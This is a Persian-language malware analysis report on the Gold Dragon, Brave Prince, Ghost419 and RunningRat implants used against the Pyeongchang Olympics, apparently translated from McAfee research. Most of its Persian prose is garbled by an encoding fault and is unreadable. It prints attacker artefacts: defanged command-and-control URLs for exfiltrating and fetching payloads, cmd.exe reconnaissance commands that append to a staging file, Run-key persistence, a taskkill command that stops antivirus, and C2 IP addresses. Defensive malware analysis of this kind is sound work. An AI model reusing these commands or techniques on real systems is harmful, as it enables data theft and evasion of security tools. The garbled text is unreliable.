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 مقدمه -1

 یک حولِ کٌذتیاى هی کِ اػت کشدُ هٌتـش سا گضاسؿی اخیشاً McAfee پیـشفتِ تْذیذات گشٍُ پظٍّـی

 ؿَد،چاًگ سا کِ دس کشُ خٌَتی تشگضاس هیپیًَگ الوپیک صهؼتاًی ّای تشگضاسکٌٌذُػاصهاى ،1تذٍى فایل

 تش سٍی ػیؼتن قشتاًی PowerShell قشاس دادى یک اػکشیپت اص حولِ ّذف حولِ خَد قشاس دادُ اػت. ایي

 ایداد ػیؼتن دس ػطح پایِ اطلاػات آٍسیخوغ تشای هْاخن ػشٍس ػوت تِ سا کاًالی کِ کٌذهی اػتفادُ

  کٌذ.هی

 هـاّذُسا  ایکشُ تِ صتاى Gold Dragon تذافضاس تا ًامیک  ،2017 دػاهثش 24 دس McAfee گشاىتحلیل

 کِ اػت الوپیکّای تِ تاصی ایي حولات دٍم هشحلِ ،تذافضاس ایي حاضش حال دس McAfeeتِ گفتِ  .کشدًذ

 کِ PowerShell اػکشیپت .کشد کـف 2018 طاًَیِ 6 آى سا دس McAfeeتْذیذات پیـشفتِ  گشٍُ پظٍّـی

 Empire چاسچَب هثتٌی تش قذیوی ػاهل یک گشفت،هی قشاس اػتفادُ هَسد الوپیک ّایکوپیي دس

PowerShell اػکشیپت ایي حال، ایي تا .کشدهی ایداد هْاخن ػشٍس ػوت تِ سا ؿذُ سهض کاًال یک کِ تَد، 

 اػکشیپت ایي، تش ػلاٍُ .اخشا ؿَد کاهلاً کاسآهذ 2یک دسب پـتی ػٌَاىتِ داسد تا اضافی ّایهاطٍل ًیاص تِ

PowerShell  تیاٍسد. دٍام  تٌذی ؿذُصهاى ػادُ ٍظیفِ یک اص فشاتش ی ًیؼت کِههکاًیضداسایGold 

Dragon اػکشیپت هخشب تِ ًؼثت تشیقَی تؼیاس هاًذگاسی مهکاًیض PowerShell ِسا هْاخن ٍ داسد اٍلی 

، ؿذ آغاص الوپیک کوپیي کِ سٍصی ّواى .هَسد حولِ قشاس دّذخیلی تیـتش  سا ّذف ػیؼتن تا ػاصدهی قادس

Gold Dragon ُتذافضاس .ؿذ ظاّش دٍتاس Gold Dragon تِ دػت آٍسدى  تشای ایگؼتشدُ ّایقاتلیت

 فقط PowerShell اػکشیپت اخشایی .داسد کٌتشل ػشٍس یک تِ آى ًتایح اسػال ٍ ّذف ػیؼتناطلاػات اص 

 تٌْا کِ داؿت سا ؿثکِ پیکشتٌذی ٍ دػتگاُ ًام داهٌِ، کاستشی، ًام هاًٌذ اٍلیِی ّادادُ آٍسیخوغ قاتلیت

  .تَد قاتل اػتفادُ آًْا ػلیِ یتشپیچیذُ تذافضاسّای اًذاصیساُ ٍ قشتاًیاى ؿٌاػایی تشای
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2- Gold Dragon 

Gold Dragon پغ اص تشسػی .اػت ؿذُ هـاّذُ دػاهثش 24 اصّا اػت کِ دادُ آٍسیخوغ تذافضاس یک 

Gold Dragon  داهٌِهـخق ؿذ www.golddragon.com  کِ تِ كَستhardcode  دس فایل اخشایی آى

 .اػت ؿذُپیذا  ّاًوًَِ توام دس McAfee تاسّا تَػط اػت، گشفتِقشاس 

 

 ػول payload صًدیشُ ٍ تؼذی ّایpayload تشای downloader ٍ ؿٌاػایی اتضاس كَست یک تِ ًوًَِ ایي

 تشای کلیذ یکتِ ایداد  کٌتشل، ػشٍس اص تایٌشی ّایفایل اخشای ٍ داًلَد اص غیش تِ Gold Dragon .کٌذهی

-دادُ ،ؿَدًوی اػتفادُ کٌتشل تشای URL ایي .پشداصد، هیکٌذهی دسیافت ػیؼتن اص کِ ّاییدادُ سهضگزاسی

 ًؼخِ ّای تَػط 2017 یههاُ  اٍاخش دس کِ ذًؿَهی اسػال ink.inkboom.co.kr ػشٍس تِ ؿذُ سهض ّای

 .تَد گشفتِ قشاس اػتفادُ هَسد قثلی

Gold Dragon 414 تذافضاسّای تا هـاتِ سفتاس ٍ کذ ػٌاكش، حاٍیGhost ٍ Prince Brave کِ اػت 

McAfee تش هثتٌی تذافضاسیک  .اػت کشدُ سدیاتی 2017 هی هاُ اص DLL یسٍص ّواى) دػاهثش 21 تاسیخ دس 

 دػاهثش 24دس  Gold Dragon ای اصگًَِ تَػطکِ  داًلَد ؿذُ تَد( ؿذ ظاّش الوپیک هخشب ػٌذ اٍلیي کِ

 change.atwebpages.com-help-nid کٌتشل ػشٍس اص Gold Dragonگًَِ  دػاهثش، 24 دس .اػت ُؿذ ایداد

 .ِ تَدگشفت قشاس اػتفادُ هَسد ًیض Prince Brave گًَِ اص یک دػاهثش تَػط 21 اص کِ کشد اػتفادُ

 Gold Dragon فایل ًام .ؿذ ظاّش خٌَتی کشُ دس 2017 ػال طٍئیِ هاُ دس Gold Dragon ّایگًَِ اٍلیي

 خٌَتی کشُ دس اًحلاسی كَست تِ ٍتاؿذ هی Hangul Extraction هؼٌای تِ کِ تَد 한글 추출 .exe، اكلی

 گیشیّذف ٌّگام ،ًذؿذ تـکیل دػاهثش 24 تاسیخ دس کِ Gold Dragon اص گًَِ پٌح. ُ تَدؿذ دیذُ

 .، ًقؾ پشسًگی داؿتٌذالوپیک تشگضاسکٌٌذُ ّایػاصهاى
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 Gold Dragonوتحلیل تجزیه -2-1

 :Gold Dragon اٍلیِ، هقذاسدّی اص تخـی ػٌَاىتِ

 ٍػیلِت سا خَد ّایٍسٍدی ِ load کشدى پَیای APIػاصدهی هختلف ّایکتاتخاًِ اص هتؼذد ّای. 

  3صداییاؿکال ػطح دػتشػیاص (SeDebugPrivilege )حافظِ تشد تاتْشُ هی خَد پشداصؽ تشای  

 سا تخَاًذ. ّاپشداصؽ ػایش دس هَخَد

ایي کاسّا سا اًدام  ػیؼتن دس دیگش هؤلفِ یک تشای تلکِ کٌذ،سا هحقق ًوی هاًذگاسیخَد  تشای تذافضاس ایي

 (:ؿَد یافت ػیؼتن دس اگش) دّذهی

 پشداصٍاطُ ًوًَِ یک خؼتدَی ، ؿشٍع تِتذافضاسHangul  (HWP)
. کٌذهی ػیؼتن دساخشایی  4

(HWP تِ  ؿثیِ ایکشُ پشداصٍاطُ یکMicrosoft Word اػت). 

 

 دس لیؼت پشداصؽ HWP.exeتشسػی 

 اگش HWP.exe  دس یکًٌَ تاص لیفا تذافضاس، ،دس حال اخشا تاؿذ ؼتنیػدس HWP شیهؼ اػتخشاج تا سا 

 .ؿَدیه هٌتقل HWP.exe تِ فشهاى خط آسگَهاى اص ٍ کٌذیه ذایپ لیفا

 فایلِ ایي Word (ًهؼوَلا *.hwp ًام داسد )ؿَدهی کپی یهَقت فایل هؼیش دس. 

C:\DOCUME~1\<username>\LOCALS~1\Temp\2.hwp 

 hwp فایل اص دقیق کپی یک load ُدس ؿذ HWP.exe اػت. 

 2 هحتَیات ،تذافضاس.hwp یک ٍ خَاًذُ سا "MZ magic marker" سؿتِ تا ؿذُ هـخق فایل دس سا 

"JOYBERTM" کٌذهی پیذا. 

                                                 
3 debug privileges  
4 Hangul word processor 
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 HWPدس فایل  MZگش ًـاًِتشسػی 

 گشًِـاً یک ٍخَد ،ػاهل ایي MZ فایل دس ؿذُ سهضگزاسی .hwp افضاستذ تَػط کِ دّذهی ًـاى اس ،

 ؿَد:هی ًَؿتِ کاستش Startup پَؿِ دس ٍ سهضگـایی

C:\Documents and Settings\<username>\Start Menu\Programs\Startup\viso.exe 

 کٌذ.هی هحقق ػیؼتن دس هدذد ّایاًذاصیساُ دس حیي سا تذافضاس هاًذگاسی هشحلِ، ایي 

 گشًِـاً کِ ٌّگاهی MZ ُپَؿِ دس سهضگـایی ؿذ Startup ِ2 ،ؿَدهی ًَؿت.hwp ػیؼتن حزف  اص

 ؿَد.هی

 : دّذ اًدام سا فؼالیت ایي دلیل دٍ تِ اػت هوکي تذافضاس

 ػیؼتن دس تذافضاس خَد اًذگاسیایداد ه 

  ػیؼتن دس هؤلفِ دیگشی اص تذافضاس هاًذگاسیایداد 
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  سٍصسػاًیتِ خذاگاًِ، سٍصسػاىتِ هؤلفِ یک ایٌکِ اص پغ ػیؼتن دس تذافضاس خَد سٍصسػاًیتِاًدام 

 .ذکٌ داًلَد کٌتشل ػشٍس اص سا

. ًیؼت یکاهل افضاسخاػَع ٍ اػت هحذٍد ّایدادُ ٍسیآخوغ ٍ ؿٌاػایی ّایقاتلیت داسای تذافضاسایي 

 ػپغ ٍ گشددهی سهضگزاسی ٍ رخیشُ صیش فایل دس اتتذا اػت، ؿذُ آٍسیخوغ ػیؼتن اص کِ اطلاػاتی گًَِّش

 :ؿَدهی فشػتادُ کٌتشل ػشٍس تِ

 C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp 

 :دگشدهی اسػال کٌتشل ػشٍس تِ ٍ ؿذُ رخیشُ hwp.1 فایل دسؿَد، هی آٍسیخوغ ػیؼتن اص صیش اطلاػات

 دػتَس اص اػتفادُ تا کاستش دػکتاج پَؿِ دایشکتَسی فْشػت: 

cmd.exe /c dir C:\DOCUME~1\<username>\Desktop\ >> 

C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp 

 دػتَس اص اػتفادُ ّا دػتشػی داؿتِ تاتِ آى اخیشاً کاستش ّایی کِفایل دایشکتَسی فْشػت: 

cmd.exe /c dir C:\DOCUME~1\<username>\Recent >> 

C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp 

 پَؿِ  دایشکتَسی فْشػت٪programfiles٪ دػتَس اص اػتفادُ تا ػیؼتن: 

cmd.exe /c dir C:\PROGRA~1\ >> C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp 

 دػتَس اص اػتفادُ تا گشفتي هـخلات ػیؼتن: 

cmd.exe /c systeminfo >> C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp 

  کپی کشدى فایلixe000.bin :اص هؼیش 

C:\Documents and Settings\<username>\Application Data\Microsoft\Windows\UserProfiles\ixe000.bin 

 تِ هؼیش:

C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp 

 کلیذ تشای هقادیش اطلاػات ٍ سخیؼتشی کلیذ Run  ِآٍسیخوغ اطلاػات تا) خاسی کاستشهشتَط ت 

 (:ؿذُ

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 

Number of subkeys 

(<KeyIndex>) <KeyName> 

Number of Values under each key including the parent Run key 

(<ValueIndex>) <Value_Name> <Value_Content> 
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 Gold Dragonسخیؼتشی تَػط  Runکلیذ  ػشؿواسی

 :یتوتا سخیؼتشی ٍ اطلاػات ػیؼ hwp.1هثال اص یک 
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Gold Dragon کٌذهی اخشا سا ػشقت اطلاػات فشآیٌذ دس ؿذُ اخشا هشاحل ایي: 

 ُ1 دادُ فایل کٌذ، آٍسیخوغ سا ػیؼتن اص هَسدًیاص اطلاػات تذافضاس، ّشگا.hwp اص اػتفادُ تا سا 

 .کٌذهی سهضگزاسی «www[dot]GoldDragon[dot]com» گزسٍاطُ

 1 دادُ فایل تش سٍی ؿذُ سهض هحتَای.hwp ِؿَدهی ًَؿت. 

  تَاتغ اػتفادُ اص سهضگزاسی تا تذافضاس، تاBase64 سا ّادادُ ،ػشقت اطلاػات فشآیٌذ طَل دس 

 خَد کٌتشل ػشٍس تِ سا آى ،صیش URL تِ HTTP POST دسخَاػت اص اػتفادُ تا ٍ کٌذهی سهضگزاسی

 :فشػتذهی

http://ink[dot]inkboom.co.kr/host/img/jpg/post.php 

 5ػشآیٌذ HTTP  ِاص ػثاستٌذ گیشًذقشاس هی اػتفادُ هَسد دسخَاػت دسک: 

 Content-Type: multipart/form-data; boundary=—-WebKitFormBoundar 

ywhpFxMBe14cSjFnG <followed by base44 encoded & encrypted system info> 

 User Agent: Mozilla/4.0 (compatible; MSIE 0.0; Windows NT 4.1; Trident/4.0; .NET 

CLR 1.1.4322) 

 Accept-Language: en-us 

 HTTP Version: HTTP/1.0 

 ّایهؤلفِ داًلَد هکاًیضم. ٌذک اخشا ٍ داًلَد کٌتشل ػشٍس سا اص اضافی ّایهؤلفِ تَاًذهی ایي تذافضاس ّوچٌیي

 دس کٌتشل ػشٍس تش سٍی تذافضاس پشداصؽ تَػط کِ ػیؼتن اػت کاستشی ًام ٍ کاهپیَتش ًام اػاع تش اضافی

  :ؿذُ اػت صیش اسائِ  HTTPدسخَاػت

GET 

http://ink[dot]inkboom.co.kr/host/img/jpg/download.php?filename=<Computer_Name>_<username>&co

ntinue=dnsadmin 

 Application Data دایشکتَسی تِ payload تؼذی هشحلِدس  کٌتشل، ػشٍس اص هؤلفِ هَفق تاصیاتی اص پغ

 :دگشدهی اخشا ػپغ ٍ ؿذُ کپی خاسی، کاستش

C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\hupdate.ex 

  

                                                 
5 Header 
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 ّای اضافی اص ػشٍس کٌتشلقاتلیت داًلَد هؤلفِ
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 پشداصد:هی تذافضاسآًتی هحلَلات تِ هشتَط خاف ّایپشداصؽ ٍخَد تشسػی تِ ،تذافضاسایي 

 کلیذی کلوات تا پشداصؿی گًَِّش ٍخَد "v3" ٍ "cleaner" 

 
 cleanerّای پشداصؽتذافضاس یا آًتی تشسػی

هتَقف  هشتَطِ ّایthread تِ WM_CLOSE پیام یک اسػال تا ّاپشداصؽ ایي ؿَد، یافتایي هَاسد  اگش

 .ؿًَذهی
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 cleanerتذافضاس/خاتوِ یک پشداصؽ آًتی

3- Brave Prince 

Brave Prince ّای گًَِ تا هـاتِ یسفتاس ٍ کذ اص کِ اػت ایکشُ صتاىتِ  تذافضاس یکGold Dragon ِت 

 ّایlog ،تذافضاس ایيکٌتشل تشخَسداس اػت.  ػشٍس هکاًیضم استثاطی ٍ اص ػیؼتن کؼة اطلاػات خلَف،

 ّایپشداصؽ ؿذُ، تٌذیصهاى ٍظایف سخیؼتشی، دیؼک، ّاسد هحتَیات قشتاًی، پیکشتٌذی دستاسُ سا هفللی

ٌّگام  2017 دػاهثش 13 دس تاس اٍلیي تشای Brave Prince. کٌذهی آٍسیخوغ دیگش هَاسد ٍ اخشا حال دس

 ،تؼذی ّایگًَِ ؿذ. هـاّذُ خٌَتی کشُ Daum الکتشًٍیکی پؼت ػشٍیغ طشیق اص هْاخن تِ ّاlog اسػال

  کٌٌذ.هی اسػال ػشٍسٍب یک تِ post HTTP دسخَاػت طشیق اص سا ّادادُ، Gold Dragon هاًٌذ

 

 braveprince.com داهٌِ
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 رخیشُ PI_00.dat فایل تش سٍی ٍ کشدُ آٍسیخوغ ػیؼتن اص سا اطلاػات، Brave Prince اص Daum ّایگًَِ

 یک طشیق اص سا فایل ،تؼذی ّایگًَِ. ؿَدهی اسػال هْاخن ایویل آدسع تِ پیَػت دس فایل ایي. ذٌکٌهی

 قشتاًی ػیؼتن اص تذافضاس ایيتَػط  صیش ّایدادُ. کٌٌذهی آپلَد ػشٍسٍب یک تِ post HTTP دسخَاػت

 :ؿَدهی آٍسیخوغ

 ّاّا ٍ فایلدایشکتَسی 

 ِپیکشتٌذی ؿثک 

 ًِْاى حافظ ARP
6

 

 ٍظایف آٍسیخوغ تشای 7پیکشتٌذی ػیؼتن 

 تَاًذت کِ سا Daum تَػط ؿذُ ایداد اتضاس یک پشداصؽ هشتَط تِ تَاًٌذهی Brave Prince گًَِ دٍ ّش

 .اػت خٌَتی کشُ تِ هٌحلش اتضاس ایي. کٌٌذ ، هتَقفکٌذ هؼذٍد سا هخشب ّایکذ

 taskkill /f /im daumcleaner.exe  

 :اػت صیش hardcode ّایسؿتِ ؿاهل Brave Prince تؼذی ّایگًَِ

 c:\utils\c2ae_uiproxy.exe 

 c:\users\sales\appdata\local\temp\dwrrypm.dl 

4- Ghost414 

Ghost419 تذافضاس. ایي ؿذ ظاّش 2017 دػاهثش 18 تاسیخ دس تاس اٍلیي کِ اػت ایکشُ صتاى تِ تذافضاس یک 

 کٌتشل ػشٍس تِاًتقالی  URL پاساهتش ٍؿذُ دس خَد فایل اخشایی تذافضاس  hardcode سؿتِ تَػط تَاًذهی

 سدیاتی ؿَد اػت، ؿذُ ایداد 2017 طٍئیِ 29 دس کِ ًوًَِ یک اص طشیق ذتَاًهی Ghost419. ؿَد ؿٌاػایی

 کذ اص دسكذ 46.  تاؿذ ؿذُ( hardcode ّای ؿٌاػِ تذٍى) قذیوی تؼیاس ًؼخِ یک سػذهی ًظش تِ کِ

 ،تذافضاسقذیوی  ًؼخِ ایي .هـتشک اػت ،اًذؿذُ ایداد دػاهثش اٍاخش دس کِ ّاییًوًَِ طٍئیِ تاهاُ  ًؼخِ

 کِ هشتَط تِ ًوًَِ یک دس کِ کٌذهی ایداد( kjie23948_34238958_KJ238742) یکتا mutex هقذاس یک

 تش هثتٌی Ghost419. اػت کشدُ تغییش آى سقن یک کِ تفاٍت ایي تا ،خَسدتِ چـن هی اػت ًیض دػاهثش هاُ

                                                 
4 Address Resolution Protocol 
7 Systemconfig 
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 تَاتغ تشای تِ خلَف هـتشک، کذ ٍ ػٌاكش دستشداسًذُ ٍ اػت Gold Dragon  ٍ Brave Princeتذافضاسّای

 .اػت ػیؼتن ؿٌاػایی

 

"hardcode "Ghost419 تذافضاس تایٌشی دس 

 Gold ّایگًَِ دس ،"WebKitFormBoundarywhpFxMBe19cSjFnG" سؿتِ آپلَد هکاًیضم اص تخـی

Dragon ِخَسدًیض تِ چـن هی 2017 دػاهثشهاُ  اٍاخش هشتَط ت. 

 

 Gold Dragonًوًَِ 

 

 Ghost419ًوًَِ 

 ىّوا صا ،استثاطی هکاًیضم. داسد ٍخَد ًیض یدیگش فشاٍاى ّایؿثاّت ػیؼتن، ؿٌاػایی ّایسٍؽ تش ػلاٍُ

user agent Gold Dragon ُکٌذهی اػتفاد. 

 

 Gold Dragonسؿتِ ػاهل کاستش 
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user agent Ghost419 

5- RunningRat 

RunningRat دٍس ساُ اص دػتشػی یک تشٍخاى (RAT)8 دٍ تا کِ اػت DLL تشگشفتِ  ًام ایي. کٌذهی کاس

 اص پغایي تذافضاس، . داسد قشاس تذافضاس دس کِتاؿذ هیؿذُ دس خَد تذافضاس  hardcode سؿتِ یک اصؿذُ 

-تِ ػشٍیغ اكلی ػول ػِ تا DLL ایي. ذکٌهی اخشاسا  DLL اٍلیي ،قشاس تگیشد ػیؼتن یک سٍی تش ایٌکِ

. هاًذگاسی فشاّن ًوَدى ٍ اكلی DLL RAT اخشای ٍ کشدى تاص ،تذافضاسهتَقف کشدى آًتی: پشداصدهی دّی

 تشًاهِ یک کِ daumcleaner.exe ٍظیفِ تشای ایٌکًَِیؼذ هی ساٍیٌذٍصی  batch dx.bat فایل ،تذافضاس

 .کٌذ حزف سا خَدؽ تا کٌذهی تلاؽ batch فایل هتَقف کٌذ. پغ اص آى، اػت سا ایکشُ اهٌیتی

 
 

 ًَیؼٌذگاى. کٌذهی تاص zlib ػاصیفـشدُ الگَسیتن اص اػتفادُ تا سا DLL تِ هتلل هٌثغ فایل یک ،DLLاٍلیي 

. اًذًَؿتِ ؿٌاػایی تشای ػادُ الگَسیتن یک ٍ کٌاس گزاؿتِ سا تایٌشی دس صداییاؿکال ّایسؿتِ ایي تذافضاس،

 ػٌَاى، تِفایل ایي ػش ٍ کاس ًذاسد، کاستش فایل ػیؼتن ٍخِ تا تِ ّیچ ٍ ؿذُ اػتخشاج حافظِ دس DLL دٍهیي

RAT اٍلیي ًْایت، دس. ؿَدهی اخشا کِ اػت اكلی DLL، سخیؼتشی کلیذ SysRat دس هؼیش سا 

SoftWare\Microsoft\Windows\CurrentVersion\Run ِتذافضاس کِ ؿَد حاكل اطویٌاى تا کٌذهی اضاف 

 .دگشدهی اخشا اًذاصیساُ ٌّگام دس

                                                 
0 Remote Access Trojan 
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سا تاصًَیؼی  کٌتشل ػشٍس تشای IP آدسع ،DLL اٍلیي ؿَد،هی load حافظِ داخل ،DLL دٍهیي اص ایٌکِ پغ

 آدسع ایي دّذ.هؤثش تغییش هی طَس خَاّذ داؿت سا تِ استثاط آى تا تذافضاس ی کِکِ ایي ػشٍس آدسػ کٌذهی

 تِاٍل  DLLتِ کوک  ٍ ًَؿتِ ؿذُ اػت hardcodeکِ تِ كَست اػت   200.200.200.13 دٍم DLLدس 

 .ؿَدتغییش دادُ هی 223.194.70.136



                                                                                               

15 

 

 

یک  اص تخـی یا ؿَدهی اػتفادُ هدذد کذ ایي کِ تاؿذ هَضَع ایي دٌّذًُـاى اػت هوکي سفتاس ًَع ایي

 .اػت تذافضاسی کیت

 .کٌذهی اػتفادُ SeDebugPrivilege تشسػی تا anti-debugging هؼوَل سٍؽ یک اص DLL اٍلیي

 

 ًؼخِ هاًٌذ قشتاًی، ػیؼتن اًذاصیساُ تِ هشتَط اطلاػات DLLایي  ؿَد،هی اخشا DLL دٍهیي کِ صهاًی

 .کٌذهی آٍسیخوغ سا ؿگشپشداص ٍ دسایَس اطلاػات ٍ ػاهلػیؼتن
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 تِ آًْا اسػال ٍ تش سٍی كفحِ کلیذ کاستشفـشدُ ؿذُ  کلیذّای رخیشُ سا کِ خَد اكلی ػولیات ،تذافضاس ایي

 .کٌذهی ؿشٍع ٍیٌذٍص اػتاًذاسد ّایAPI اص اػتفادُ تااػت  کٌتشل ػشٍس

 

 اكلی یاتػولاص  ،سٍی كفحِ کلیذ تشؿذُ  فـشدُ ّایکلیذ ػشقت ،McAfee تحلیلٍتدضیِ تا تَخِ تِ

RunningRat اها اػت؛ DLL کشدى کپی تشای کذ ایي .اػت تشگؼتشدُ ػولکشد تشای یکذ داسای 

clipboard، کشدى پاک ّا،فایل ػاصیفـشدُ ّا،فایل حزف logهَاسد ٍ دػتگاُ کشدى خاهَؽ سٍیذاد، ّای 

 اخشای تشای ساّی ّیچ کِ دّذهی ًـاى McAfee کًٌَی ٍتحلیلتدضیِ حال، ایي تا. ؿَدهٌظَس هی دیگش

 .ًذاسد ٍخَد یکذ چٌیي
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DLL تکٌیک چٌذ دٍم antidebugging اص اػتفادُ ّا،اص ایي تکٌیک یکی. دتشهی کاس تِ سا اضافی custom 

exception handler ٍ code paths اًذؿذُ طشاحی ءاػتثٌا ایداد تشای کِ اػت. 

 



                                                                                               

18 

 

 

 .داسد ٍخَد ایؼتا تحلیل طَل دس هحققاى ػشػت کاّؾ هٌظَس تِ تْی تَدستَی thread چٌذیي ّوچٌیي
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 گیرینتیجه -6

 طشیق اص ؿذ، ؿٌاػایی McAfeeپیـشفتِ تْذیذات  گشٍُ پظٍّـی تَػط تاس اٍلیي کِ PowerShell اػکشیپت

 تذافضاسًگاسی تلَیش تشای هخفی کشدى پٌْاى ّایتکٌیک اص کِ ُ تَدؿذ تَصیغ ّذفوٌذ فیـیٌگ کوپیي یک

 . کشدهی اػتفادُ اٍل هشحلِ

 ػیؼتن تش سٍی دائوی طَستِ ، PowerShell ایوپلٌت گضاسؽ، تِ هحض اخشای ایي دس ؿذُ رکش تذافضاسّای

 Hangul کِ ؿذ خَاّذ حفظؿاى هاًذگاسی كَستی دس تٌْا تذافضاسّا اص تشخی. ٍخَد خَاٌّذ داؿت قشتاًی

Word ِتاؿذ اخشا حال دس داسد، اختلاف خٌَتی کشُ تِ ک. 

 ،Gold Dragon، Brave Prince. داؿت ػولیات ایي گؼتشُ اص تْتشی دسک تَاىهی ،تذافضاسّا ایي کـف تا

Ghost419 ٍ RunningRat اػتخشاج . اػت ؿذُ ؿٌاختِ قثل اص تیـتش خیلی کوپیي دٌّذ کِهی ًـاى

 ّایتاصی طَل دس تَاًذهی ؿَداًدام هی تذافضاسّا ایي تَػط کِ غیشهداص اطلاػات تِ كَست هذاٍم

 .داؿتِ تاؿذ هْاخن تشای سا ایتالقَُ هضیت الوپیک،
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